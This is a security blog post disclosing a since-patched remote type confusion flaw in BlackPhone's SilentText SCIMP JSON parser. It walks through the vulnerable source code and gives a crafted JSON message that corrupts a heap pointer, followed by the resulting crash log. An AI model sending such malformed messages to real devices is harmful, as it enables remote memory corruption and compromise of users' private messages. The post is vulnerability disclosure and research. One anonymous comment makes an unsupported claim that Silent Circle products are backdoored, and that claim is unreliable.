Azimuth Security: BlackPwn: BlackPhone SilentText Type Confusion Vulnerability <body onload='MM_preloadImages(&apos;http://www.azimuthsecurity.com/images/a_02.gif&apos;,&apos;http://www.azimuthsecurity.com/images/r_02.gif&apos;,&apos;http://www.azimuthsecurity.com/images/t_02.gif&apos;,&apos;http://www.azimuthsecurity.com/images/s_02.gif&apos;)'><script type="text/javascript"> function setAttributeOnload(object, attribute, val) { if(window.addEventListener) { window.addEventListener('load', function(){ object[attribute] = val; }, false); } else { window.attachEvent('onload', function(){ object[attribute] = val; }); } } </script> <div id="navbar-iframe-container"></div> <script type="text/javascript" src="https://apis.google.com/js/platform.js"></script> <script type="text/javascript"> gapi.load("gapi.iframes:gapi.iframes.style.bubble", function() { if (gapi.iframes && gapi.iframes.getContext) { gapi.iframes.getContext().openChild({ url: 'https://www.blogger.com/navbar.g?targetBlogID\x3d509652393303233687\x26blogName\x3dAzimuth+Security\x26publishMode\x3dPUBLISH_MODE_HOSTED\x26navbarType\x3dBLUE\x26layoutType\x3dCLASSIC\x26searchRoot\x3dhttp://blog.azimuthsecurity.com/search\x26blogLocale\x3den\x26v\x3d2\x26homepageUrl\x3dhttp://blog.azimuthsecurity.com/?m%3D0\x26vt\x3d-4433879647623530723', where: document.getElementById("navbar-iframe-container"), id: "navbar-iframe", messageHandlersFilter: gapi.iframes.CROSS_ORIGIN_IFRAMES_FILTER, messageHandlers: { 'blogger-ping': function() {} } }); } }); </script>
azimuth security services training resources about BLOG
project zeus
"You will not be informed of the meaning of Project Zeus until the time is right for you to know the meaning of Project Zeus."
Archives
Current Posts
April 2010
May 2010
August 2010
September 2012
February 2013
March 2013
April 2013
May 2013
June 2013
December 2013
March 2014
January 2015
Posts
BlackPwn: BlackPhone SilentText Type Confusion Vulnerability
BlackPwn: BlackPhone SilentText Type Confusion Vulnerability
posted by Mark @ 1/27/2015 09:27:00 PM  

Privacy is a hot topic at the moment - it continues to dominate the headlines as news of new NSA incursions, celebrity phone hacks, and corporate breaches are being reported on an increasingly regular basis. In response to this, a number of products have been brought to market that attempt to provide consumers with a greater level of privacy than typical devices allow for. In the phone market, one of the premier products to be released in recent years is undoubtedly the BlackPhone (http://www.blackphone.ch), which has been cited numerous times in tech publications as being one of the best available defenses against mass surveillance, as it provides full end-to-end encryption facilities for voice calls and text/MMS messaging.

While exploring my recently purchased BlackPhone, I discovered that the messaging application contains a serious memory corruption vulnerability that can be triggered remotely by an attacker.  If exploited successfully, this flaw could be used to gain remote arbitrary code execution on the target's handset. The code run by the attacker will have the privileges of the messaging application, which is a standard Android application with some additional privileges. Specifically, it is possible to:

  • decrypt messages / commandeer SilentCircle account
  • gather location information
  • read contacts
  • write to external storage
  • run additional code of the attacker's choosing (such as a privilege escalation exploit aimed at gaining root or kernel-mode access, thus taking complete control of the phone)

The only knowledge required by the attacker is the target's Silent Circle ID or phone number - the target does not need to be lured in to contacting the attacker (although the flaw is exploitable in this scenario as well).

This issue is now patched by both Silent Circle and Blackphone in the respective App Stores / Product updates.

The remainder of this post discusses the technical details of this vulnerability, citing the source code of the vulnerable application where appropriate. This code is available from Silent Circle's github repository (https://github.com/SilentCircle).



SilentText Messaging Application

The SilentText application bundled with Blackphone (and also made available as a standalone app for Android and iPhone) provides the ability for users to send text messages and share files over an encrypted channel. This encrypted channel is established and managed using the 'Silent Circle Instant Message Protocol' (SCIMP), which is tunneled over Silent Circle's XMPP servers. SCIMP provides end-to-end encryption, so that data exchanged in a given conversation cannot be decrypted by an eavesdropping third party (including Silent Circle). The SCIMP implementation supplied with SilentText contains a type confusion vulnerability, that allows an attacker to directly overwrite a pointer in memory (either partially or in full), which when successfully exploited can be used to gain remote, unauthenticated access to the vulnerable device.

Before discussing the vulnerability itself, a quick overview of SCIMP and YAJL (Yet Another JSON Library - a third party library relevant to the flaw) is provided.

The SCIMP Protocol

SCIMP is a simple message-oriented protocol, where messages are encoded as JSON objects, and then sent over XMPP. SCIMP messages are distinguished by a fixed header string "?SCIMP:", followed by a base64-encoded JSON object, followed by a terminator ("."). An example message looks like this.

?SCIMP:ewogICAgImNvbW1pdCI6IHsKICAgICAgICAidmV
yc2lvbiI6IDEsCiAgICAgICAgImNpcGhlclN1aXRlIjogM
SwKICAgICAgICAic2FzTWV0aG9kIjogMSwKCSJIcGtpIjog
IkhFZ3JXRkVj/eUloM1psVkVNeUlSemhOeVByb1hrUXBrRm
JLVTRjdjBtajg9IgogICAgfQp9Cg==.


SCIMP messages have a message type, followed by a number of data fields depending on the message type. Message type can be one of the following:

  • commit - sent by the initiator wishing to establish a new session. Also can be used to re-key an existing session.
  • dh1 - sent by the remote party (responder) in response to a commit message as part of session establishment.
  • dh2 - sent by the initiator in response to a dh1 message as part of session establishment.
  • confirm - sent by the responder in response to a dh2 message indicating that session establishment was successful.
  • data - application-level data sent after a secure session has been established.

These messages are encoded in JSON using a single map object with the name of the map indicating the message type, and a variable number of string or integer-based variables within the map relevant to the specific message type. A JSON-encoded SCIMP message is shown.

{
 "commit": {
         "version": 1,
         "cipherSuite": 1,
         "sasMethod": 1,
         "Hpki": "HEgrWFEcyIh3ZlVEMyIRzhNyProXkQpkFbKU4cv0mj8="
 }
}

The JSON serialization and de-serialization is handled by a third-party library named "Yet Another JSON Library", or libyajl. The source code for this library is available at http://lloyd.github.com/yajl. Understanding the basics of this API is relevant to the discovered SCIMP vulnerability, and so is briefly covered here.

JSON Parsing - The YAJL API


The YAJL library is initialized with a call to yajl_alloc(), which has the following prototype.

yajl_handle
yajl_alloc(const yajl_callbacks * callbacks, yajl_alloc_funcs * afs,
 void * ctx);

This function creates an opaque yajl_handle that is later passed as a parameter to yajl_parse(), the function responsible for parsing a block of JSON text. The first parameter of the yajl_alloc() function is a yajl_callbacks structure, which allows the caller to define a series of callback functions that will be invoked during JSON parsing when certain elements are encountered. The yajl_callback structure is as follows.

    /** yajl is an event driven parser.  this means as json elements are
     *  parsed, you are called back to do something with the data.  The
     *  functions in this table indicate the various events for which
     *  you will be called back.  Each callback accepts a "context"
     *  pointer, this is a void * that is passed into the yajl_parse
     *  function which the client code may use to pass around context.
     *
     *  All callbacks return an integer.  If non-zero, the parse will
     *  continue.  If zero, the parse will be canceled and
     *  yajl_status_client_canceled will be returned from the parse.
     *
     *  \attention {
     *    A note about the handling of numbers:
     *
     *    yajl will only convert numbers that can be represented in a
     *    double or a 64 bit (long long) int.  All other numbers will
     *    be passed to the client in string form using the yajl_number
     *    callback.  Furthermore, if yajl_number is not NULL, it will
     *    always be used to return numbers, that is yajl_integer and
     *    yajl_double will be ignored.  If yajl_number is NULL but one
     *    of yajl_integer or yajl_double are defined, parsing of a
     *    number larger than is representable in a double or 64 bit
     *    integer will result in a parse error.
     *  }
     */
    typedef struct {
        int (* yajl_null)(void * ctx);
        int (* yajl_boolean)(void * ctx, int boolVal);
        int (* yajl_integer)(void * ctx, long long integerVal);
        int (* yajl_double)(void * ctx, double doubleVal);
        /** A callback which passes the string representation of the number
         *  back to the client.  Will be used for all numbers when present */
        int (* yajl_number)(void * ctx, const char * numberVal,
                            size_t numberLen);
   
        /** strings are returned as pointers into the JSON text when,
         * possible, as a result, they are _not_ null padded */
        int (* yajl_string)(void * ctx, const unsigned char * stringVal,
                            size_t stringLen);
       
        int (* yajl_start_map)(void * ctx);
        int (* yajl_map_key)(void * ctx, const unsigned char * key,
                             size_t stringLen);
        int (* yajl_end_map)(void * ctx);

        int (* yajl_start_array)(void * ctx);
        int (* yajl_end_array)(void * ctx);
    } yajl_callbacks;

As described in the comments, the YAJL parser will invoke these callbacks whenever the corresponding elements within a JSON block is encountered. The ctx parameter passed to each of these callbacks is the same ctx parameter passed by the called as the third parameter to yajl_alloc(), and can be anything the caller wishes.

Finally, it is possible for the caller to specify a custom allocator from which to allocate blocks of memory used to store JSON strings and so on. This can be achieved by filling out the second parameter to the yajl_alloc() function with callbacks to custom allocation and free routines. The yajl_alloc_funcs structure that encapsulates these callbacks is defined as follows.

/** A structure which can be passed to yajl_*_alloc routines to allow the
 *  client to specify memory allocation functions to be used. */
typedef struct
{  
    /** pointer to a function that can allocate uninitialized memory */
    yajl_malloc_func malloc;
    /** pointer to a function that can resize memory allocations */
    yajl_realloc_func realloc;
    /** pointer to a function that can free memory allocated using
     *  reallocFunction or mallocFunction */
    yajl_free_func free;
    /** a context pointer that will be passed to above allocation routines */
    void * ctx;
} yajl_alloc_funcs;

After a handle is allocated, a block of JSON text can be parsed by calling yajl_parse(), which has the following API.

yajl_status
yajl_parse(yajl_handle hand, const unsigned char * jsonText,
 size_t jsonTextLen);

As can be seen, this function simply takes a previously-created yajl_handle, followed by the block of text to be parsed and its length. Calling yajl_parse() on a block of text will result in the user-specified callbacks defined earlier to be called as each JSON element is encountered. To illustrate how the YAJL callback API is used in action, consider the following JSON block.

{
 "key1": 12345,
 "key2": "valueString",
 "key3": { "innerkey": 67890 }
}

When parsing the above block, the following sequence of callbacks will be invoked:

yajl_start_map() - called when parsing the initial "{" token
yajl_map_key() - called when parsing "key1"
yajl_integer() - called when parsing "12345"
yajl_map_key() - called when parsing "key2"
yajl_string() - called when parsing "valuestring"
yajl_map_key() - called when parsing "key3"
yajl_start_map() - called when parsing the "{" token following "key3"
yajl_map_key() - called when parsing "innerkey"
yajl_integer() - called when parsing "67890"
yajl_end_map() - called when parsing the "}" token following "67890"
yajl_end_map() - called when parsing the final "}" token

Vulnerability Details

The vulnerability in question occurs during JSON deserialization of incoming SCIMP messages within libscimp, which is performed by the scimpDeserializeMessageJSON() function (defined in src/SCimpProtocolFmtJSON.c). The code is shown (edited for brevity).

SCLError scimpDeserializeMessageJSON( SCimpContext *ctx,  uint8_t *inData, 
size_t inSize, SCimpMsg **msg)
{
    SCLError             err = kSCLError_NoErr;
    yajl_gen_status     stat = yajl_gen_status_ok;
    yajl_handle         pHand = NULL;
    SCimpJSONcontext    *jctx = NULL;

    uint8_t             *jBuf   = NULL;
    size_t              jBufLen = 0;

    static yajl_callbacks callbacks = {
        NULL,
        NULL,
        NULL,
        NULL,
        sParse_number,
        sParse_string,
        sParse_start_map,
        sParse_map_key,
        sParse_end_map,
        NULL,
        NULL
    };


    yajl_alloc_funcs allocFuncs = {
        yajlMalloc,
        yajlRealloc,
        yajlFree,
        (void *) NULL
    };


    // check for cleartext
    if((inSize < (strlen(kSCIMPhdr) +1))
       || memcmp(  inData, kSCIMPhdr, strlen(kSCIMPhdr)) != 0)
    {
       ... handle cleartext messages ...
    }
    else
    {
        // process SCIMP message

        err =  scimp_base64_decode(inData, inSize, &jBuf, &jBufLen); 
           CKERR;

        jctx = XMALLOC(sizeof (SCimpJSONcontext)); CKNULL(jctx);
        ZERO(jctx, sizeof(SCimpJSONcontext));

        pHand = yajl_alloc(&callbacks, &allocFuncs, (void *) jctx);

        yajl_config(pHand, yajl_allow_comments, 1);
        stat = yajl_parse(pHand, jBuf,  jBufLen); CKSTAT;
        stat = yajl_complete_parse(pHand); CKSTAT;

        if(IsntNull(jctx->msg))
            *msg = jctx->msg;
   }

   ...
}

This function simply allocates and zeroes out a context structure (jctx, which is a SCimpJSONContext structure), establishes a YAJL handle, then invokes the yajl_parse_function(). The following code snippet shows the functions sParse_start_map() and sParse_end_map() - the pair of functions that are invoked whenever an opening brace ('{') or a closing brace ('}') is encountered respectively.

static int sParse_start_map(void * ctx)
{      
    SCimpJSONcontext *jctx = (SCimpJSONcontext*) ctx;
    int retval = 1;
       
    if(IsntNull(jctx))
    {  
        if(!jctx->isState && IsNull(jctx->msg))
        {
            jctx->msg = XMALLOC(sizeof (SCimpMsg));
            ZERO(jctx->msg, sizeof(SCimpMsg));

        }
        jctx->level++;
    }  
       
done:  
    return retval;
}
 
   
static int sParse_end_map(void * ctx)
{  
    SCimpJSONcontext *jctx = (SCimpJSONcontext*) ctx;
     
    if(IsntNull(jctx) && IsntNull(jctx->msg))
    {
         jctx->level--;
    }

    return 1;
}

We can see in sParse_start_map() that the jctx->msg pointer will be initialized with a pointer to a SCimpMsg structure if it hasn't been initialized already, which has the following definition:

typedef struct SCimpMsg
{          
    SCimpMsgPtr             next;
    SCimpMsg_Type           msgType;
    void*                   userRef;
     union
    {      
        SCimpMsg_Commit     commit;
        SCimpMsg_DH1        dh1;
        SCimpMsg_DH2        dh2;
        SCimpMsg_Confirm    confirm;
        SCimpMsg_Data       data;
        SCimpMsg_ClearTxt   clearTxt;
     };
   
}SCimpMsg;

This is a very simple structure used to contain a SCIMP message - the type is denoted by the msgType field, and the data values for the message are stored within the union, which is interpreted depending on the value of the msgType field. The message type structures contained within the above union are as follows.
typedef struct  {
    uint8_t        version;
    uint8_t        cipherSuite;
    uint8_t        sasMethod;
    uint8_t        Hpki[SCIMP_HASH_LEN];
    uint8_t        Hcs[SCIMP_MAC_LEN];
} SCimpMsg_Commit;

typedef struct  {
    uint8_t        *pk;
    size_t         pkLen;
    uint8_t        Hcs[SCIMP_MAC_LEN];
} SCimpMsg_DH1;

typedef struct  {
    uint8_t        *pk;
    size_t         pkLen;
    uint8_t        Maci[SCIMP_MAC_LEN];
} SCimpMsg_DH2;

typedef struct  {
    uint8_t        Macr[SCIMP_MAC_LEN];
} SCimpMsg_Confirm;

typedef struct  {
    uint16_t       seqNum;
    uint8_t        tag[SCIMP_TAG_LEN];
    uint8_t        *msg;
    size_t         msgLen;

 } SCimpMsg_Data;


typedef struct  {
    uint8_t        *msg;
    size_t         msgLen;
} SCimpMsg_ClearTxt;

We will revisit some of these later.

After initializing jctx->msg, sParse_start_map() then increments the jctx->level integer. This integer indicates the nesting level within the JSON message that is currently being examined. The sParse_end_map() function performs the corresponding decrement operation on the jctx->level variable, to indicate the end of the currently nested block. This nesting level is utilized by the sParse_map_key() callback also passed to YAJL, to indicate whether the key is a message type (occurs when nesting level is 1), or a variable name (occurs when nesting level is anything else):

static int sParse_map_key(void * ctx, const unsigned char * stringVal,
                          size_t stringLen)
{      
    SCimpJSONcontext *jctx = (SCimpJSONcontext*) ctx;
    int valid = 0;
   
    if(IsntNull(jctx))
    {
        if(jctx->level == 1)
        {
            valid = sParseMsgType(jctx, stringVal, stringLen);
     
        }
        else
        {
            valid = sParseKey(jctx, stringVal, stringLen);
        }
    }  
     
    return valid;
}

When parsing the top level of the JSON block (nesting level 1), the map key must be a valid message type, which is determined by sParseMsgType().

static int sParseMsgType(SCimpJSONcontext * jctx, const unsigned char * stringVal,
 size_t stringLen)
{
    int valid = 0;

    if(jctx->isState)
    {
        ... not relevant ...
    }      
    else  
    {  
        SCimpMsgPtr msg = jctx->msg;
       
        if(CMP(stringVal, kCommitStr, strlen(kCommitStr)))
        {
            msg->msgType = kSCimpMsg_Commit;
            valid = 1;
        }
        else if(CMP(stringVal, kDH1Str, strlen(kDH1Str)))
        {
            msg->msgType = kSCimpMsg_DH1;
            valid = 1;
        }
        else if(CMP(stringVal, kDH2Str, strlen(kDH2Str)))
        {
            msg->msgType = kSCimpMsg_DH2;
            valid = 1;
         }
        else if(CMP(stringVal, kConfirmStr, strlen(kConfirmStr)))
        {
            msg->msgType = kSCimpMsg_Confirm;
            valid = 1;
        }
        else if(CMP(stringVal, kDataStr, strlen(kDataStr)))
        {  
            msg->msgType = kSCimpMsg_Data;
            valid = 1;
       }
    }  
           
    return valid;
}

Assuming a recognized message type is received, the msgType field of the SCimpMsg structure originally allocated in sParse_map_start() will be initialized with a constant denoting the type of the message. The value following the message type should be a sub-map, whose keys will be parsed by the sParseKey() function (since the jctx->level variable will be set to 2 when parsing this submap). The sParseKey() function is as follows.

static int sParseKey(SCimpJSONcontext * jctx, const unsigned char * stringVal,
 size_t stringLen)
{

    int valid = 0;

    if(jctx->isState)
    {
        ... not relevant ...
    }
    else
    {
        SCimpMsgPtr msg = jctx->msg;

        switch(msg->msgType)
        {
            case kSCimpMsg_Commit:
                if(CMP(stringVal, kVersionStr, strlen(kVersionStr)))
                {
                    jctx->jType = SCimp_JSON_Type_UINT8;
                    jctx->jItem = &msg->commit.version;
                    valid = 1;
                }
                else if(CMP(stringVal, kCipherSuiteStr, strlen(kCipherSuiteStr)))
                {
                    jctx->jType = SCimp_JSON_Type_UINT8;
                    jctx->jItem = &msg->commit.cipherSuite;
                    valid = 1;
                }
                else if(CMP(stringVal, kSASmethodStr, strlen(kSASmethodStr)))
                {
                    jctx->jType = SCimp_JSON_Type_UINT8;
                    jctx->jItem = &msg->commit.sasMethod;
                    valid = 1;
                }
                else if(CMP(stringVal, kHpkiStr, strlen(kHpkiStr)))
                {
                    jctx->jType = SCimp_JSON_Type_HASH;
                    jctx->jItem = &msg->commit.Hpki;
                    valid = 1;
                }
                else if(CMP(stringVal, kHcsStr, strlen(kHcsStr)))
                {
                    jctx->jType = SCimp_JSON_Type_MAC;
                    jctx->jItem = &msg->commit.Hcs;
                    valid = 1;
                }
                break;

            case kSCimpMsg_DH1:
                if(CMP(stringVal, kPKrStr, strlen(kPKrStr)))
                {
                    jctx->jType = SCimp_JSON_Type_STRING;
                    jctx->jItem = &msg->dh1.pk;
                    jctx->jItemSize = &msg->dh1.pkLen;
                    valid = 1;
                }
                else if(CMP(stringVal, kHcsStr, strlen(kHcsStr)))
                {
                    jctx->jType = SCimp_JSON_Type_MAC;
                    jctx->jItem = &msg->dh1.Hcs;
                    valid = 1;
                }

                break;
   
           ... more code ...
       }
   }
 
   return valid;
}

As can be seen, depending on the message type, jctx->jType and jCtx->jItem will point to the relevant field within the SCimpMsg structure to be filled out, along with information about what type of data the given field should be. These fields are then filled out by the sParse_string() and sParse_number() callbacks passed to YAJL, which are shown.

static int sParse_string(void * ctx, const unsigned char * stringVal,
                         size_t stringLen)
{      
    SCimpJSONcontext *jctx = (SCimpJSONcontext*) ctx;
    int valid = 0;

    if(jctx->jType == SCimp_JSON_Type_HASH
       || jctx->jType == SCimp_JSON_Type_MAC
       || jctx->jType ==  SCimp_JSON_Type_TAG
       || jctx->jType ==  SCimp_JSON_Type_STATE_TAG)
    {  
        uint8_t     buf[ MAX( MAX( SCIMP_HASH_LEN, SCIMP_MAC_LEN) , SCIMP_TAG_LEN)  ];
        size_t      dataLen = sizeof(buf);

      if( base64_decode(stringVal,  stringLen, buf, &dataLen) == CRYPT_OK)
      {
         if((jctx->jType == SCimp_JSON_Type_HASH  && dataLen == SCIMP_HASH_LEN)
         || (jctx->jType == SCimp_JSON_Type_MAC  && dataLen == SCIMP_MAC_LEN)
         || (jctx->jType == SCimp_JSON_Type_TAG  && dataLen == SCIMP_TAG_LEN)
         || (jctx->jType == SCimp_JSON_Type_STATE_TAG  && dataLen == 
SCIMP_STATE_TAG_LEN))
         {
             COPY(buf, jctx->jItem, dataLen);
             valid = 1;
         }
      }
     }
    else if(jctx->jType == SCimp_JSON_Type_STRING)
    {
        size_t      dataLen =  stringLen ;
        uint8_t     *buf =  XMALLOC(stringLen);

        if( base64_decode(stringVal,  stringLen, buf, &dataLen) == CRYPT_OK)
        {
            *((size_t*) jctx->jItemSize) = dataLen;
            *((uint8_t**) jctx->jItem) = buf;
            valid = 1;
        }
        else
        {
            XFREE(buf);
        }
    }

    return valid;
}

static int sParse_number(void * ctx, const char * str, size_t len)
{
    SCimpJSONcontext *jctx = (SCimpJSONcontext*) ctx;
    char buf[32] = {0};
    int valid = 0;

    if(len < sizeof(buf))
    {
        COPY(str,buf,len);
        if(jctx->jType == SCimp_JSON_Type_UINT8)
        {
            uint8_t val = atoi(buf);
            *((uint8_t*) jctx->jItem) = val;
            valid = 1;
        }
        if(jctx->jType == SCimp_JSON_Type_UINT16)
        {
            uint16_t val = atoi(buf);
            *((uint16_t*) jctx->jItem) = val;
            valid = 1;
        }
    }

    return valid;
}

The problem with the way SCIMP employs the YAJL library is that the sParse_map_key() function will call the sParseMsgType() function potentially more than once while parsing a single JSON block, which will have the result of altering the message type even after fields in the SCimpMsg union have been filled out by sParse_string()/sParse_number(). For example, consider what happens when the following message is received:

{
 "dh2":
 {
  "PKi": "MGwDAgcAAgEwAjEAkzRmb7bD/ihDZ7e0zpHvOnDf
JcJKU1vlKjJJlTegFt7Kxps4kdiBQdaOd8ALOH3jAj
Brm/r6BInlydGJASGuAGGg7QPJTWlVz2SwKWRCkNgu/FTEuTLycQN44slH3iVAfYs=",
  "maci": "+SlATBJtOG8="
 },
 "data":
 {
  "seq": 32896
 },
 "dh2": null
}

This message will be parsed by the YAJL library, resulting in the following callbacks:

sParse_start_map() - Allocates jctx->msg, zeroes it, and sets jctx->level to 1
sParse_map_key() - indicates that this is a "dh2" message
sParse_start_map() - Increments jctx->level to 2
sParse_map_key() - Parse and set pk and pkLen fields in the SCimpMsg structure
sParse_map_key() - Parse the "maci" field and set Maci[] array
sParse_end_map() - Decrements jctx->level to 1
sParse_map_key() - indicates this is a "data" message ** OVERWRITES msg->msgType field with a new type ***
sParse_start_map() - Increments jctx->field to 2
sParse_map_key() - Parses the seq field, which is a 16-bit integer. This field overlaps with the low 2 bytes of the "pk" pointer allocated previously
sParse_end_map() - Decrements jctx->level to 1
sParse_map_key() - Indicates this is a "dh2" message, again overwriting msg->msgType field. Now we have a dh2 message, with the pk pointer modified with arbitrary contents by the attacker.


By resetting the jctx->msg->msgType field with the "dh2" attribute at the end of the message, a type confusion vulnerability will occur where the seq fields supplied in the "data" message will be incorrectly interpreted as the pk field - a raw memory pointer. (In this case, the low two bytes have been set to 0x8080.) Note that by utilizing messages other than "data", we could arbitrarily modify the entire pointer (and the pkLen field, indicating how much data pk points to). Assuming that we are at the correct phase of protocol negotiation, sending this message results in the following crash:

]Fatal signal 11 (SIGSEGV) at 0xdeadbaad (code=1), thread 17201 (com.silentcircl)
I/DEBUG   ( 9735): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   ( 9735): Revision: '0'
I/DEBUG   ( 9735): pid: 15611, tid: 17201, name: com.silentcircl  >>> com.silentcircle.silenttext <<<
I/DEBUG   ( 9735): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr deadbaad
I/DEBUG   ( 9735): Abort message: 'invalid address or address of corrupt block 0x601b8078 passed to dlfree' 
I/DEBUG   ( 9735):     r0 00000000  r1 400d757e  r2 deadbaad  r3 400db0cd
I/DEBUG   ( 9735):     r4 601b8078  r5 400e5180  r6 40086000  r7 601b8080
I/DEBUG   ( 9735):     r8 2910001d  r9 60a11110  sl 0000000e  fp 618969b8
I/DEBUG   ( 9735):     ip 00000001  sp 62d67930  lr 400a87e3  pc 400a87e4  cpsr 60070030
I/DEBUG   ( 9735):     d0  2064657372666c64  d1  2073736572646461
I/DEBUG   ( 9735):     d2  657264646120726f  d3  6f6320666f207373
I/DEBUG   ( 9735):     d4  0000000000000000  d5  0000000000000000
I/DEBUG   ( 9735):     d6  0000000000000000  d7  c1436f2400000000
I/DEBUG   ( 9735):     d8  0000000000000000  d9  0000000000000000
I/DEBUG   ( 9735):     d10 0000000000000000  d11 0000000000000000
I/DEBUG   ( 9735):     d12 0000000000000000  d13 0000000000000000
I/DEBUG   ( 9735):     d14 0000000000000000  d15 0000000000000000
I/DEBUG   ( 9735):     d16 41d5226dd0000000  d17 41d518b63e000000
I/DEBUG   ( 9735):     d18 c1436f2400000000  d19 0000000000000000
I/DEBUG   ( 9735):     d20 0000002f0000002f  d21 0000002f0000002f
I/DEBUG   ( 9735):     d22 0000000000000000  d23 0000000000000000
I/DEBUG   ( 9735):     d24 0003000000030000  d25 0003000000030000
I/DEBUG   ( 9735):     d26 0707070703030303  d27 000000300000002f
I/DEBUG   ( 9735):     d28 0001000000010000  d29 0001000000010000
I/DEBUG   ( 9735):     d30 00b6800000b38000  d31 00bc800000b98000
I/DEBUG   ( 9735):     scr 80000010
I/DEBUG   ( 9735):
I/DEBUG   ( 9735): backtrace:
I/DEBUG   ( 9735):     #00  pc 000117e4  /system/lib/libc.so (dlfree+1191)
I/DEBUG   ( 9735):     #01  pc 0000dd23  /system/lib/libc.so (free+10)
I/DEBUG   ( 9735):     #02  pc 00012678  /data/app-lib/
com.silentcircle.silenttext-1/libscimp.so (scimpFreeMessageContent+204)
I/DEBUG   ( 9735):     #03  pc 000137a0  /data/app-lib/
com.silentcircle.silenttext-1/libscimp.so
I/DEBUG   ( 9735):     #04  pc 00012440  /data/app-lib/
com.silentcircle.silenttext-1/libscimp.so (sProcessTransition+96)
I/DEBUG   ( 9735):     #05  pc 000124c8  /data/app-lib/
com.silentcircle.silenttext-1/libscimp.so (scTriggerSCimpTransition+52)
I/DEBUG   ( 9735):     #06  pc 000147fc  /data/app-lib/
com.silentcircle.silenttext-1/libscimp.so (SCimpProcessPacket+308)
I/DEBUG   ( 9735):     #07  pc 00002ff0  /data/app-lib/
com.silentcircle.silenttext-1/libscimp-jni.so (SCimpPacket_receivePacket+28)
I/DEBUG   ( 9735):     #08  pc 0000470c  /data/app-lib/
com.silentcircle.silenttext-1/libscimp-jni.so (Java_com_silentcircle_scimp_NativePacket_receivePacketPKI+1468)


The highlighted line shows the invalid address  0x601b8080 passed to free(), which is the pointer we corrupted. By manipulating the mechanics of the underlying heap or of application data structures themselves, it is possible to leverage this flaw to gain arbitrary code execution.

6 comments:

At January 28, 2015 at 2:03 AM , Anonymous Anonymous said...

This is amazing!!!! Great job Azimuth!!!!

At January 28, 2015 at 4:26 AM , Anonymous Anonymous said...

Fatal signal 11 (SIGSEGV) at 0xdeadbaad (code=1), thread 17201.. really?

At January 28, 2015 at 8:06 AM , Anonymous Anonymous said...

It is strange how people use blackphone which is BACKDOOR by silent circle. SilentCircle products are BACKDOOR all of them, as you have a central server to handle communication which is the worst method for privacy. IP is fixed so NSA could inject whatever on it. Really blackphone is for kids, no security expert in the world could use this....

At January 28, 2015 at 12:01 PM , Anonymous Anonymous said...

wut no logo?

At January 28, 2015 at 6:31 PM , Anonymous Anonymous said...

seriously, Dowd is a genius...

At January 28, 2015 at 8:24 PM , Anonymous Anonymous said...

Oooh, oooh, I got this! @Anonymous backdoor commenter: http://xkcd.com/386/

Post a Comment

Subscribe to Post Comments [Atom]

<< Home

© Copyright 2013 Azimuth Security Pty Ltd